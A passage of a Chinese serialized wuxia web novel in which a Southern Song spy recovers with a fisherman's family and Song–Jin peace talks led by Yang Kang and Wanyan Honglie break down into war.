陈子云望着远处那座即使此时他真正的主人都已经卧床半个多月了,已经不见丝毫慌乱的部落,又想起王罕部落的种种,也就难怪对方无法阻挡这个部落一统草原的步伐了。 铁木真这个人说来也真是传奇,要知道在如今的蒙古草原上,普遍的都是文盲,连各个部落的语言都有显着的差异,甚至连文字都还没有统一。 那么铁木真那出神入化的统治手段,那行军打仗的高超水准,到底是从哪里学来的。 难道真的是生而知之者?还是每次在战场上都能临场发挥,将胜利牢牢的抓在自己手中。 陈子云自问,要是自己站在铁木真的位置上,也没有把握能在这么短短的时间里,将本来一盘萨沙的蒙古草原一统。 当然,要是让他去杀了那些各部落的统领自然是简单的,可杀人容易服人难啊,要让这些知道弯弓射雕的莽汉听自己的,那一套儒家的君君臣臣是行不通的。 这就是文化差异的弊端了,说来也是奇怪,中原大地也不是没有被异族统治过,可唯独就是这个草原名族没有被浩大的中华文明同化,甚至直接就把汉人引以为傲的儒家文化甩在了一边。 好似在蒙古的习俗与中华的文化中间有一条逾越不了的鸿沟,让这两个民族只能相见,不能相容。 其实这之间的端倪,他也在这段时间草原上的见闻中明白了一些。 一个习惯性吃肉的民族是不会认可一个以草木为主食的民族的文化的,在这里没有忠孝,只有服从与生死,这就是那个迈不过去的坎。 “难道为了阻止阻隔民族的崛起,我就要把这个民族所有出类拔萃的人物杀光吗?就算我今天能杀了铁木真,可他的这些儿子们,他的这些将领们,这些沾染了铁木真的气息的人,也同时秉承了他要一统草原的雄心的人们,是不是也要一起杀了。 那,那些还不过车轮的孩童呢,那些会走路就开始学骑马的孩童,那些没长大就先学会射箭的孩童,也要一起杀吗? 因为他没法保证,在这些人里,会不会也早就被铁木真的雄伟气概感染,长大后也会学着他的摸样,再次扛起这面永远无法抛弃的旗帜。 杀,不杀,杀……” 陈子云已经不知道多少次在心中审视这个问题了。 可他不知道的是,要是在南宋,他绝不会被这样残忍的念头笼罩,他会在第一时间就压下这个可怖的想法。 这简直就是心魔,这是魔鬼才能思考的问题,而到了这草原上,这个杀人好像杀羊一般随意的地方,在面对自己的敌人时,他们从来没有慈悲。 杀光敌对部落的男人,然后将女人跟小孩并入自己的部落,这是这里最正常不过的法则,而且是所有人都认可的法则。 在这里考南宋的那套子曰诗云是没有人会听的,而儒家你那套以仁义为核心,讲忠孝礼仪的规矩,也是行不通的。 除非有人能在蒙古草原上建立一套从小培养他们的小孩的教育制度,将儒家的文化潜移默化的传授下去。 等这一代的小孩子长大了,也许会有那么几个心思纯澈的能接受,然后再考这些人一代代的影响下去。 凭借儒家文化的侵入性,也许在几代或者十几代之后,会在这里形成两个文化流派,一个自然是讲究强势文化的本地派,一个是被教育之后的汉化派。 可就算如此,陈子云也能肯定,即使是到了那种时候,掌握着草原上真正命脉与传承的还必然是那些本地派。 原因很简单,因为讲究君子之风的儒家文化,实在是不适合草原上的生活环境,不管是这里的天气,还是这里的地域特点,都不合适儒家文化的传播。 儒家文化是建立在安土重迁的家族文化上的,给一对夫妻一块地,他们世世代代就能靠着这块生活繁衍。 重视家族,重视土地,重视传承有序,这才有儒家文化发展点社会空间。 而在这个风雨不定的草原上,这里的人习惯了随着四季变化,操场的兴衰而迁移。 而草场的好坏,就决定了一个部落的壮大与否,而那草场又不会等着他们,一旦有别的部落捷足先登,那么战争就在所难免。 人少的时候,兵器不完备的时候,可能就像是南宋两个临近村庄之间为了抢夺水源的小械斗。 而当两个强壮的部落开始碰撞,那就是举族而动的一场大战,没有和解,只有你死我活,自然吞并。 这些日子与托雷相处下来,虽然这个便宜徒弟,不知道从哪里学来的用这四不像的礼仪恭敬着自己,可陈子云如何看不出他那身为蒙古人的骄傲内心。 要不是自己表现出了他难以理解的武力,说不定早就将自己抓了回去,即使他自己做不到,也绝不会相信,陈子云能在大军的包围下逃脱。 第三百六十五章 修养 睡,睡,好似魔咒一般的言语,在牛在我的耳边回荡。 身体终究是决定了意志的清醒与昏迷,牛在我再次昏昏的坠入了漆黑里。 昏迷清醒,接着就是喝药又昏迷,到后面药被换成了清水,以及一些稀的跟清水没有什么区别的粥汤。 牛在我不知道时间过了多久,他只是感觉自己的肚子上本来结实的肌肉变成了一层薄薄的皮,他终于能清醒的说话了。 他做的第一件事情就是让救了他的这对父子,拿着自己的那块玉牌去城里当铺当了。 顺便给自己抓些药材回来,这些天来,他前面喝的那些药不过是益气补血的东西,对于自己身上的伤势基本没有对症的地方。 这些天牛在我之所以能恢复,也完全是靠着自己的身体素质而不是那些汤药的作用。 至于说为何这对父子没有将他身上的这块玉牌拿走,因为这块玉牌看着不是那种晶莹剔透,一看就值钱的玩意儿。 反而色泽枯黄,彷佛是哪个小儿胡乱从溪边捡来的石头打磨一番而已。 “这东西能值多少?” 这位姓孙的老渔夫满面狐疑的问道。 “不是什么好东西,但是换个几吊钱还是可以的,就看这里当铺老板的眼色。 你用这钱给我买两副药,余下的买些肉食来,这些天劳烦孙大伯跟孙小哥照料了。 等我这身体好些了,自然会好好谢谢两位的。” 那位孙小哥听到几吊钱眼睛不由得亮了,要不是自己父亲非要救这人,害得他们这些天都跟着受罪,他才没那善心呢。 如今没想到,这破石头一般的东西竟然能换几吊钱,着实让他开心呢,不仅能回本,还能挣上一些。 要知道,当初他就是因为拿不出两吊钱的聘礼才被小红他们家拒婚的。 “是值三吊还是四吊?” 孙小哥着急的问道,他想来要是能值三吊,那就让老爹除了买药的钱都留下,给他准备娶媳妇,要是能有四吊,那就再买些荤腥,他已经好些天没有闻到肉味了。 “别问了,让小哥好好休息,你随我进城。” 孙老爹扯了一下孙小哥道。 “拿把鱼叉带上,最近这路上不太平。” 牛在我瞧着孙小哥那着急知道答案的摸样,不由得笑了,自己曾经也不就是这样吗。 在自己遇见先生之前,别说一吊钱,就是几文,那也是视若珍宝的,在他们的那个时候,自己正是最能吃的年纪,而家里那一亩三分地,就算是丰收了,也不过堪堪糊口而已,不挨饿已经是难得了,平时哪里能见到铜钱的。 “爹,你倒是等等我啊,鱼叉我要不带两柄……” 牛在我看着两人已经离开了,便拿起放在他床头边上的野菜团子,先是从中间掰开看了看。 一些常见的野菜,加上一些迷糊之类的东西捏合在一起的。 牛在我先是小小的尝了一口,在嘴里细细的品味着,并没有发些什么奇怪的味道,这才小心的咽下。 然后就是闭目,等待。 不错,他就是在试毒,不要觉得他这样是多此一举,对方虽然没有在自己昏迷,无意识的时候伤害他,可他如今已经体现出了自己的价值,也把身上唯一值钱的物件交了出去,难保就见利忘义。 这些操作,不过是作为一个合格的间谍的基本常识。本来他身处敌国,就不能相信任何人,哪怕是这个人刚刚救了自己。 一个间谍身上的价值,可不是他这条命,而是他手中掌握着的信息。要是有人想从牛在我的手中得到些什么,那么他就是做的再小心也是应该的。 牛在我的小心谨慎并不会伤害任何人,如果有机会,他反而乐意在自己脱险之后,给与这两父子足够丰厚的报酬。 但是现在,牛在我宁可将这两人定性为可能是金国的特殊人员,也不敢掉以轻心,这就是一个身处敌国的间谍应该有的素养。 闭眼睁眼,牛在我等了大概一刻钟之后,还没有发现身体的异样,才把这味道苦涩,口感粗粝的野菜团子急忙忙的吞下。 对于一个已经快七天没有吃过正经的固体食物时候,饥饿感已经压过了一切,但凡是能够咽下去的东西,对牛在我来说都是至高美味。 牛在我依稀记得先生曾经给他们讲过一个典故,天下至味,不过一碗安乐茶饭。 大概就是说,一个饿的久了的大贵人,在得到一碗饱饭之时,感叹这普通的茶饭就是天下最美味的。 当时牛在我还小,不能理解,自己那时候虽然穷困,但是糙米饭,跟野菜的根茎还是能吃上的,为何要有人忍着几天不去吃饭。 正常人哪里能忍得住,一天不吃饭就已经浑身乏力了,连干活都干不了,要是饿上两三天,估计就要躺在床上下不来了。 现在他算是懂得了,只有真正饿过的,而且必须是饿狠过的人才能明白食物的意义,与填饱肚子相比,食物的味道不过是锦上添花的东西。 要是这个时候,能再给他来一个饭团,哪怕对方要价十两黄金,牛在我也毫不怜惜。 食色性也,圣贤果然不欺我。 与食相比,什么色相都要被放到后面。 牛在我不敢多醒着,怕自己已经消耗过甚的身体,又要靠昏迷来自保,而且他如今的肠胃怕是也很难消化东西,要是再把体力放到别的地方,他估计怕是要把刚吃下的野菜团子给吐出来。 牛在我闭上眼睛,放空自己的脑海,连思维都不敢过多的调用,一切谋划,都要等他的身体允许他继续行动为前提。 …… 幽幽的药香把牛在我从睡梦中再次唤醒,天已经是完全黑了的,一盏不过能照亮跟前五尺的油灯摆在他床边的板凳上。 药味是从外面飘进来的,牛在我仔细分辨了一下,确实是自己要求的药材,不过熬药人的功夫显然是差了些的,没有用文火慢熬,药效可能是要打折扣了。 可当孙小哥笑着将那碗热汤药端进来的时候,牛在我也是笑着回应,有了这药自己恢复的时间起码能打个对折。 第三百六十六章 恢复 “小哥,你醒了,来药我给你熬好了,还给你买了些饴糖,你要是觉得苦,就含一颗糖在嘴里。 小时候我病了,我娘就是这么哄我喝药的。” 孙小哥殷勤的将药递给牛在我,又从怀里掏出一包饴糖来。 牛在我将药碗接过来,也顾不得这药还冒着热气,一口就倒进了嘴里。 “药我吃了,糖你留着。” “你……不觉得苦吗!” 孙小哥很是惊讶的看着牛在我,他从来没见过有人喝药这么利索的。 本来他们家生病的就少,而生病了又能请大夫开药的就更少了,他唯一的记忆就是那次小时候自己害了什么大病,才吃过一回药,也就是那一回,苦的他现在还记得,所以才给牛在我买了饴糖来。 “苦倒是有点的,不过我喝得快,就也不觉得难受了。从小我吃喝的时候就比别人快一些,所以才能长到这般的个子。 小时候,我爹娘也说我是猪嘴巴,什么东西都能往里面倒。” 牛在我倒是自己打趣起自己来了。 “哈哈哈,是吗,我小时候也贪吃,家里难得打到好鱼儿,母亲总是拿去集市里,换了肉来,要是换不到肉,也换血带肉的骨头来炖汤给我喝。 我一见到那汤里的骨头,比狗还凶恶,抓起来就啃咬,小时候只觉得那骨头就是自己的,爹妈向来是都不吃的。 可到如今才明白,母亲之所以那么早死了,恐怕就是因为一年到头没吃好的缘故。” 孙小哥说着就转过了头。 那抬起的袖管,看来是在抹眼泪了。 “孙兄弟,你想离开这里吗?” 牛在我问道。 “离开?去哪里?” “先不管去哪里,你想离开这个小村庄吗,换一种其他的生活?” “为什么要换一种?” “您们现在在这里打鱼还能吃得饱吗?” “可……就算是去种地,也一样吃不饱啊,有些人家还不如咱们呢。” 孙小哥说着,牛在我沉默了片刻,他有心为这对救了自己的父子做些事情,要是有机会,甚至可以带他们去南宋。 但是现在他显然是不能直接表露身份的,因为他也不确定,这对父子对于宋金两国的认可度如何。 要是弄巧成拙,反而不美了。 “不一定要种地,嗯,你见过住在城里的那些人,你觉得他们那样是生活好吗,你喜欢吗?” 牛在我问道。 “那……哪里能不喜欢的,天天在街上逛着,也不用下地,也不用下河,那是城里老爷的活法,我们这里……” 孙小哥显然是带着羡慕甚至是憧憬的语气说的。 牛在我点头笑笑,心中有数了,就算他最终不能带着他们走,起码也要让他们衣食无忧,不枉这对父子救自己一场。 又过了几日,牛在我已经能下床行动了,药也换了一副吃。这天孙小哥从城里买药回来,急匆匆的就往家里跑,嘴里还喊着,不好了。 “怎么就不好了,什么事,这么猴急狗躁的。” 孙老爹教训道。自从孙小哥将这区城里的路给记熟了,这替牛在我买药的事情,就交给了他。 毕竟家里总要有人去河里打鱼,总不能两父子都搭在伺候牛在我身上,虽然有那些钱财在手,但是老一辈人总是把持着坐吃山空,必须要有货来路才稳当的心思。 所以呢,孙老爹也知道自己儿子,乐得去城里见见世面,索性就把这买药的事情嘱咐给了他。 就算让这小子去河里,估计打鱼的时候也是不会安稳的,再说了,自己虽然年纪大了些,可这河里的本事还不是那小兔崽子能比的。 而且现在家里有了闲钱了,也跟牛在我商量过,可以拿出两吊钱来给自己家的小子说门亲事了。 想到这里,孙老爹不由得嘴角露出了满足的笑意,可随即就收敛了,还做出一副怒意的样子。 “什么事,你倒是说啊。” “打起来了……打……起来了呀。” 孙小哥上气不接下气的说道。 牛在我心中一惊,却没说,只是看着孙小哥,等他的说法。 “什么就打起来了?谁跟谁啊,是张家的,还是李家的?” 孙老爹皱着眉头问道。 “是金国跟大宋,打起来了。” 孙小哥道。 “什么?” 孙老爹惊诧的道,正要从坐着补渔网的凳子上起身,却又缓缓的坐下了。 “打么,就打么,上次不也已经打了一场了吗。” “不一样的,这次是宋国主动的,以往那都是金国打过去的,现在是那边打过来了。 城里的老人说,他们等着在做南宋的臣子臣民呢。” 孙小哥似乎有些激动。 “闭嘴,说什么讨债话呢,这是我们能说的吗。” 孙老爹戒备的往四周瞧了瞧,确认了没有人在偷听,才过来作势要教训孙小哥。 “爹,这可不是我说的,是城里人都在说呢。这些年地里收成不好,大家伙都在抱怨。 有些大师还说是金国的皇帝犯了错,老天爷才降灾惩罚金国的。 要是宋国打过来了,那就是宋国的天下了,这老天自然就不会再为难咱们老百姓了。 所以啊,大家都期盼着呢。” 孙小哥全然不顾自己老爹那要吃人的眼神,自顾自的说着。 “小兔崽子,你还说。” 孙老爹直接将手里的一根织渔网的梭镖给砸了过来,孙小哥显然是早就料到了自己的老爹会如此,一个健步躲就进了牛在我的房间。 “牛大哥,我给你把药买来了,而且我怕到时候两国打起来,说不得这药就不好卖了,就索性多买了几副,你留着慢慢吃。” 孙小哥炫耀似的把一串,最少七八副的药都放到了牛在我的床头。 “不错,这药材等两边打起来了,说不得就要被征用,就算有剩下的,恐怕也是要贵上不少。 孙小弟你倒是个会打算的,还是个能做生意的。” 牛在我笑着夸奖着。 这些天他也与这个年轻人混熟了,知道对方的个性是个好动活泼的。 “牛老弟,你可别这么夸他,这小子啊,性子倔,可不经的夸的,要不然尾巴都要翘到天上去的。” 孙老爹听见了,在外面喊道。 “还有,将钱拿出来,你赶紧到村子里,那些种地的人家那里买米去,能买多少要多少。 我也再去河里打些鱼来,晒成鱼干藏着。” “爹,那钱不是说好了,给我娶媳妇的吗,怎么能动呢?况且,我们米缸里不是还有大半缸米吗?” 孙小哥见自己老爹,将自己朝思暮想的娶媳妇用的钱也拿出来了,顿时就炸毛了。 第三百六十八章 军国大事 而且他心中也有了打算,只要能平息这场战争,就算是自己受些屈辱也是甘心的。 他如今能够复出,那就不会看着金国这艘船沉入历史的碧涛中,他完颜洪烈要做周公,做霍光,要完成大金的中兴。 要是有人挡他的路,不管是谁,都将被毫不犹豫的扫尽尘埃中,哪怕那人坐在大殿的中央。 可等完颜洪烈到了两军阵前,见到了那所谓的宋军代表的时候,却是一时没有回神,因为南宋派出来的不是什么预想中的宋朝老臣,反而是一个乳臭未干的小子。 “小子杨康,见过金国使者。” 杨康如今穿着一身从临安送来的使臣衣服,坦然自若的跟这位年纪可能比自己父亲还大一些的金国亲王打着招呼。 “杨……杨大人,不知大人在贵国身居何职,官居几品?” 完颜洪烈差点就忍不住要骂人,要不是这些年被软禁,养出了几分容忍心,早就爆发了。 他堂堂金国王爷,当今皇帝的亲叔叔,又是这般重要的场合,他无论如何都想不明白,为何南宋会派一个这样的小子来主导这场关乎两国命运的谈判。 “哈哈,要是论官品,我自然是在南宋排不上号的,但是当我国主知道金国是派了王爷来,这才安排小子来的。” 杨康没有丝毫的退缩,反而是坦荡的应对着。 “哦,杨大人也是皇亲?” 完颜洪烈有些不确定。 “可是据本王所知,如今的南宋女帝乃是唯一的皇嗣,既无兄弟,又无姊妹,难道杨大人是南宋宁宗的……” 完颜洪烈欲言又止,那副表情却是已经将私生子三个字给说出口了似的,这就让其他的宋朝军官都愤然而起,一副要拼命的架势。 不管宋宁宗的风评如何,他怎么说也是南宋的先帝,当今女帝的生父,如何能让敌国的人污蔑。 “王爷可不要说这种笑话,本人姓杨,先祖当年名再兴,倒是与王爷的祖上交过手的。 至于说王爷说的皇亲,小子倒也是算得上,小子尊当今官家一声师母,正所谓一日为师,终身为父。 小子平日待陛下也是如母亲般的尊重,所以作为她老人家的徒弟,代表我南宋跟王爷接洽是无碍的。” 杨康正襟危坐,言语之间丝毫不怯场,将众人的情绪都安抚了下去。 他的话里透露出的意思,就是南宋女帝的徒弟,来对付他这个金国皇帝的叔叔,已经是够资格了,这一比较,自然就是将金国皇帝的位置放在了南宋女帝的孙子辈上了,可以说是巧妙的应对了王艳娜好哦那列的一局。 “小子无礼。” 灵智上人见完颜洪烈吃亏,想着为自己主子挣面子的想法,往前踏出了一步,想用自己的深厚内力正射一番这个小儿。 完颜洪烈当时就觉得不妙了,他们官场众人交涉,最忌讳的就是这些不讲道理的武林中人插手,因为他们讲的是座次,辈分,可这些武夫只知道逞凶。 可他想挽回的时候,已经晚了一步,因为在灵智上人上前威胁的时候,守护在杨康一侧的郭靖同样上前。 他的思维很简单,自己脑子笨帮不上他的康弟弟谈判,但是有人敢在这个时候跳出来,以武力威胁,那就是他要承担的责任了。 “哈。” 郭靖直接一声断喝,随即一拳捣出。 灵智上人斜嘴一笑,他就等着对方先出手呢,就这个乳臭未干的小子,自己要是能当堂教训一顿,不是鞥显出他的本事。 随即将早就藏在身后的一掌拍出,正对郭靖的一拳。 郭靖的拳法,自然就是那奇哉怪哉的“不平事”,灵智上人倒是没有用上毒砂掌,他也是怕在这样的场合要是出了人命,可能会给自己跟完颜洪烈招惹大麻烦,所以只是想着教训一番,给自己挣个功劳就是了。 可当拳掌相交的时候,灵智上人就后悔了,一股强劲的力道直接穿透了他的掌心,随即对方得势不饶人,又是一拳直接打在他的胸膛。 灵智上人只觉得自己是被一头水牛给当面撞着了,胸口剧痛,啊呀一声往后跌倒。 要说这分秒之间,在场诸人能反应过来的也就是杨康和完颜洪烈的另外两位手下。 沙通天已经护住了完颜洪烈,彭连虎则是捏住了一把毒针,随时准备蓄势待发。 杨康站在郭靖的身侧,这是他们之间最擅长的配合阵势,互为守护,不管谁偷袭他们其中一人,都将被两人合力对付。 “住手!” 完颜洪烈差点就是失态了。 “谁让你出手的。” 一改礼贤下士的平时风格,对着受伤的灵智上人,丝毫不再客气的吼道。 “王爷,你这般所作所为,我要是上报朝廷,可算是你金国率先挑衅了,那就怪不得我朝……” 杨康此话一出,不仅是完颜洪烈变了脸色,就是其他的南宋军官也是忐忑不已,他们可还没做好动手的准备的,这要是真的谈崩了,可怎么跟上头交代。 可到了这时候,这些人自然也知道不能拆杨康的台,都默契的露出一副整戈待发的姿态,怒视金国使臣。 “不然,不然,两国擅动兵戈,与两国无益,还会牵累无数的无辜百姓,还请杨大人三思。” 金国使臣中有一个人冲出来,对着杨康急忙说道。 完颜洪烈见此,故作不耐的瞥了对方一眼,可心里却是赞赏这人的识时务,他作为金国的代表,要是他来说这软话,那自然就让南宋认为他们没有底气,而由一个下臣来说,既可以缓和如今的紧张局面。 也可以让完颜洪烈有机会收回这话,他作为主使,自然是有这个权利的。 杨康看看这位貌不惊人的金国使臣,又看看好整以暇的完颜洪烈,思索了片刻,笑道。 “既然如此,那就请这位大人说说,如何才是有益于我们两国的处置方案?” “杨大人开玩笑了,下官不过是最下等的使臣,如何能高攀杨大人,自然是由我们六王爷与大人交涉才是正理。” 那人说着就又往后退下了。 “恭喜王爷,有个好属下。” 杨康不在意的笑着对完颜洪烈说道。 “杨大人,谬赞了。” 完颜洪烈皮笑肉不笑的回应道。 第三百六十九章 画 两边人重新坐好,经过这一场好似早就预备好的提前交锋,两边终于是进入了第一场事关两国国运的谈判。 谁也没有再提这个小小的冲突,因为对于一国而言,这样的只代表着个人的冲突,实在是太过于渺小了,双方默契的不会因为这件事而改变来这里举行谈判的初衷。 金额事情既然发生了,就不可能真的什么都不留下,无形的影响已经产生,起码杨康这个被临时,甚至是过于草率的任命的南宋使臣,因为这一次短暂的交锋在南宋的使臣团队里树立的小小的威望。 就这小小的威望,加上赵茵萝在后面背书,杨康就理所当然的成了整个师团的核心,这就是后台加上这个契机的力量。 这就是有人在身后的不同,像其他的毛头小子,要做这样场合的领头,那恐怕要付出半生的努力才能做到,而杨康,就因为有那位千古唯二的女帝的支持,他就有了跟一国亲王对阵的底气。 …… 经过一天的交锋,完颜洪烈是真的见识到了这个姓杨的宋国小子的厉害,虽然在政治修养上不如自己深邃,可那年轻人独有的灵活头脑,总是能在他要将军的时候,及时的回防。 让完颜洪烈早就计划好的语言陷阱,没有一个能达成预期效果的。 而且,那种军旅生涯锻炼出来的混不吝的手段,更是让完颜洪烈觉得自己是秀才遇见兵了。 “混小子,竟然敢提出要我们退兵三十里这样的条件,那岂不是白白放弃了这里的天险,还将附近的两座城池白送给南宋,真是不知所谓。” 完颜洪烈在自己的营帐大发了一通脾气。 按照两国谈判的规矩,大家默契的都是遵循一退一进,你退我进的稳步推进的策略的,哪里有这样直接死守着条件不放的。 这哪里还叫做谈判,还不如直接让南宋女帝发一道诏书给金国皇帝算了,答应就算了,不答应不就是一个打吗,真是岂有此理。 守卫在一侧的灵智上人三人,都只是默默的听着自己的主人发着牢骚,他们毕竟只是武人,不过是有些本事的普通百姓,对这种军国大事本能的有些畏惧之心。 换做以前还好,如今他们身在军营,见识了这成千上万的兵士令行静止的模样,连那份长年练功铸就的必胜心都被打击的不轻。 面对这样的军事力量,他们这些个人的勇武实在是无可用之处。 要是让他们对付十来个士兵,自然是不在话下,可要是人数上了百,上了千,那他们在这样的包围下,就是跑都没地方跑去。 所以到了这军营里,他们自然也觉得,自己保护人的本事都无用武之地了。 沙通天跟彭连虎都微微合着眼睛,做假寐状,表现出不想听自己主人发泄不满,也当是没听到一般。 只是今天在众人前出了糗的灵智上人,半眯着的眼睛里精光闪烁,不知道在思忖什么。 “三位也去休息,这些天已经劳烦几位了,如今我们已经身处军营中,不会有什么危险了。 小王感谢三位这一路的看护,本王虽不是军中人,可营中饮酒总是不好的。等此间事了,回到汴京,本王定为三位好好接风洗尘。” 完颜洪烈道。 “谢王爷。” 三人纷纷告退。 可灵智上人走到门口的时候,却又突然折身返回了。 “王爷,小僧有件事情,不知道该不该说?” 完颜洪烈心里有几分诧异,但是脸上自然是笑着的。 “大师无需介怀,对小王自然是无话不可说的。” “如此,小僧就斗胆了。本来王爷操持的军国之大事,自然不是小僧应该置喙的,但今天小僧也是见识到了南宋方面的咄咄逼人。 不但派了一个乳臭未干的小子来羞辱王爷,还大言不惭的提出就连小僧也知道是过分的要求,实在是人神共愤。” 灵智上人瞥了一眼完颜洪烈的神情,见他并无变色才句许开口。 “王爷,你可否还记得那半路上出现的刺客?” 完颜洪烈有些不自然的坐正了身体。 “自然记得,大师有话不妨直说。” “如此就好,王爷,小僧是域外之人,对你们宋金之人的习性样貌并不了解,所以也分不出,那人是南边的还是北边的。 可按照小僧对那人武功的了解,必然是出自南边的才是。 要是王爷一口咬定是南宋派人来刺杀王爷的,这不就是被咱们抓住了把柄了吗?” 完颜洪烈心里不自觉的一跳。 其实他是知道那人的来历的,甚至隐隐猜测,这人很可能与宋庭的关系密切。 毕竟那个计划可是…… 完颜洪烈没有再想下去,这时候他没时间去深究,就像当初他也并不在意对方的死活一般,如今最重要的事情还是摆在面前的两国谈判之事,其他的都可以放一边。 “大师的意思我明白,可这样的事情,放到台面上来,南宋那边肯定是不会承认的。” 完颜洪烈想起那个女人的身影,下意识的不想再把这件事挖出来。 “王爷,并非是要对方承认,只是吓一下他们也好。而且小僧不才,因平时善绘佛像,所以对于那人的相貌,小僧有把握画出个七八分来。 到时候,王爷拿着小僧的画作与那南宋小将对峙,就算吓他一下也好。“ 灵智上人有些得意的说道。 ”这……“ 完颜洪烈踌躇了片刻,他心里是有些抗拒的,因为他答应过那个女人,可事到如今,又如何能因为自己一己之私就放过这个机会。 虽然不一定能如灵智上人说的那般效果,但是就算是作为一手无理手,也不妨可以试试。 完颜洪烈下定了决心,对着灵智上人道。 “如此就辛苦上人了。” “王爷客气,明日一早,小僧便把画作送来。” 灵智上人说完,朝着完颜洪烈行了一个礼就出去了,心中被南宋那小子郁闷的心情,一下子就全释然了,要是自己的主意能给他们在这种大事上吃瘪,那自己不是什么仇都报了。 第三百七十章 打 灵智上人心里,得意的,晚上要好好回忆一番那人的细节,定然要画的更像南宋的人一些,就算不是,也要栽赃给他们才是。 可不管是只为自己小心思的灵智上人,还是一心想为国分忧的完颜洪烈,都没有想到,正是这一副普普通通的画作,可以说是成为了断送金国江山的导火索。 因为他们不知道,当天夜里,郭靖正与杨康商量,为何牛在我那边已经许久不曾向他们传递消息,甚至过了约定的半月之期。 这是牛在我从来不曾有过的,由不得让他们开始担心,对方是不是出了什么事情。 而当两人在金国手中看到那副画作的时候,郭靖直接就红了眼,他的第一反应是这些人杀害了牛在我。 直接一拳就打在了完颜洪烈的鼻头,连沙通天三人都没来得及反应,因为他们从来没有想过,会有人在这么重要的谈判会议上,直接出手伤人,这跟直接宣战也没什么区别了。 一场大战,在所难免。 而杨康作为这次谈判的主角,却是压根没有阻止郭靖的意思,因为牛在我不仅是他们的大师兄,可以说是他们半个师傅。 从小他们跟牛在我在一起的时间可比跟着陈子云的时间要多的多,一身的功夫有大半是牛在我教的。 如今见对方将牛在我的画像拿出来,显然是他们这位大师兄先前已经去刺杀过完颜洪烈了,而且还失败了,就是不知如今生死如何。 沙通天、彭连虎、灵智上人三人护住完颜洪烈与郭靖交手,可郭靖的功夫虽然还不如他们三人联手,可那“人间不平事”的拳劲连牛在我都赞叹不已,三人一时之间自然也拿郭靖没有办法。 杨康自然也不会干看着,吩咐了身边的南宋谈判团几句,就直接上前帮郭靖了。 他们这次谈判的场地,就选在两军的中间,两边都是只带了几个寻常的军士。 可双方都做了必要的准备,一见到谈判成了斗殴,双方负责传递信号的人员,都将自己的信号烟花给放了出去。 瞬时间两边的军阵就开始朝着中间移动,一阵地动之声,让正在交手的几人都心颤不已。 再厉害的高手,面对这样的万人级别的大战,比普通人也好不到哪里去。 “住手,小子,你想白白死在这里吗?” 灵智上人正恼怒着,自己好好的计划怎么会被人如此破坏了。 如今感觉到地面沙尘震颤,如何还能跟着小子在这里拖延,三十六计走为上计才是啊。 “我牛大哥在哪里?” 郭靖红着眼,就追着灵智上人打。 旁边的彭连虎见郭靖露出了破绽,直接撒过来一把毒针,杨康见事不妙,郭靖被情绪左右,只好脱下自己的衣衫,一甩,一兜将毒针悉数挡下。 可沙通天却也是抓着机会,给杨康的后背来了一铁桨,好在杨康早有准备,将力道卸去了八分,总算是抗住了。 灵智上人被郭靖的蛮不讲理的拳法打的无还手之力,眼看着就要被擒住,沙通天只能舍了大好局面,去帮忙。 “王爷,快走,这两个小子扎手的很。” 彭连虎拉着满脸血的完颜洪烈就往外跑,郭靖还要追,一把就被赶上来的杨康给拉了回来。 “康弟弟,他们……” “噗……” 杨康直接咬破自己的舌尖,一口血就喷了出来。 “康弟弟,你受伤了!” 郭靖连忙查看起杨康的伤势来。 “我没事,郭大哥,现在两军将战,我们赶紧先回大营,大师兄不会那么容易死了的。” 杨康劝说道。 “可是……他们手上怎么会有牛大哥的画,要是在金国,他们用什么卑鄙手段,那……” “郭大哥,刚才那几个人的功夫你已经见识过了,难道你还担心大师兄会不是他们的对手吗,现在大战在即,不可因私废公。” 杨康蹙眉说道。 郭靖咬牙沉思片刻,终于还是不甘愿的点点头。 后面当然是两军对垒,发生了这样的事情,谁都知道,不可能再谈下去了,纷纷将消息发挥各自的朝廷,就等各自的君王做最后的决定了。 虽然说,郭靖的行为很是鲁莽,甚至把私人的情感放在了国家利益的前面,可谁也没有责怪的意思。 因为在如今的军营里,想打的人可比想谈的人多的多,而至于南宋的朝廷吗,回复马上就来了。 赵茵萝直接下了一道八百里加急的谕旨,传旨意的女官一句话都没说,只是在城头将这道皇帝亲笔御书的旨意展现在了所有的将士面前。 黄底红字,偌大的一个——打。 “万岁,万岁,万岁……” 南宋军营中瞬时爆发出无比剧烈的呼喝之声,先是凌乱随意,后面就成了一道道整齐的声浪,朝着金国的大营袭去。 “康弟弟,师娘这样做,会不会……” 郭靖欲言又止。 “怎么,担心这是陛下跟你一样,因私忘公?” 杨康笑着调侃了一句。 “郭大哥,那你太小看我们的这位师母了。” “康弟弟,我如何会不尊长辈的。“ 郭靖连忙反驳道。 ”哈哈,郭大哥勿恼,我不是这个意思,我是说,陛下这一手可是神来之笔。“ ”神来之笔?神在何处?“ “我们陛下,以女子之身登临帝位,一来是因为有师傅的威慑,二来么,师母他老人家也有千古不易之才,就是跟那位武曌比起来也是不让的。 这些年来,陛下励精图治,不仅将已经疲软的南宋从崩溃的边缘拉了回来,还将民生政事打理的井井有条。 一开始对陛下抱有敌意的那些臣民,如今都赞颂着她是女尧舜了。” 杨康说着微微翘起了嘴角。 “这些我们在师母身边,自然是都知道一些的。” 郭靖道。 “可陛下毕竟是女儿身,她能以智慧博得那些大臣的认可,却始终无法以赏罚得到这些军士的心。 因为对于这些在沙场拼杀的人来讲,没有那种让他们承认的功勋,没有眼见为实的武勇。 陛下做的那些,不过是镜花水月,一碰即破的东西而已。而且军队的人对于女人当皇帝的反抗情绪,显然是比任何人都要更强烈的,这下来郭大哥你这些时间在军队里也能体会到的。” 杨康道。 郭靖点头。 第三百七十一章 无用功 “可你看如今,军心激昂,只因为陛下的一字谕旨,士气在我,何愁金国不灭。” 杨康低头看着城下的那些兴奋异常的军人们,幸与荣焉的说道。 “不过,康弟弟,有这样的士气,一定你能打赢的。” 郭靖道。 “这就是陛下的高妙了,就用一个字,不但接过了我们闯下的大祸,还利用了同仇敌忾之心,将自己不输男儿的霸道,直接的展示在了军士们面前。 这样的气概,这样的威武,对于军士来讲,一个能跟他们一条心的皇帝,比任何的赏赐都要振奋人心。 这就是我们的陛下,我们的师母啊。” 杨康眼里透露着一种野心的光芒,此刻他竟然想着,要是自己坐在那个位置上,会如何,是不是能像自己这位女帝师母一般的,翻手为雨覆手为雨。 将这万千众人都操控于指掌之间,那恐怕就是人世间最美妙的事情了。 …… “南宋全面压制金国防线,金国节节败退,军士无抵抗之力,将领无牺牲之心,看这形势,无论如何都顶不住南宋军队的乘胜追击之势了。” 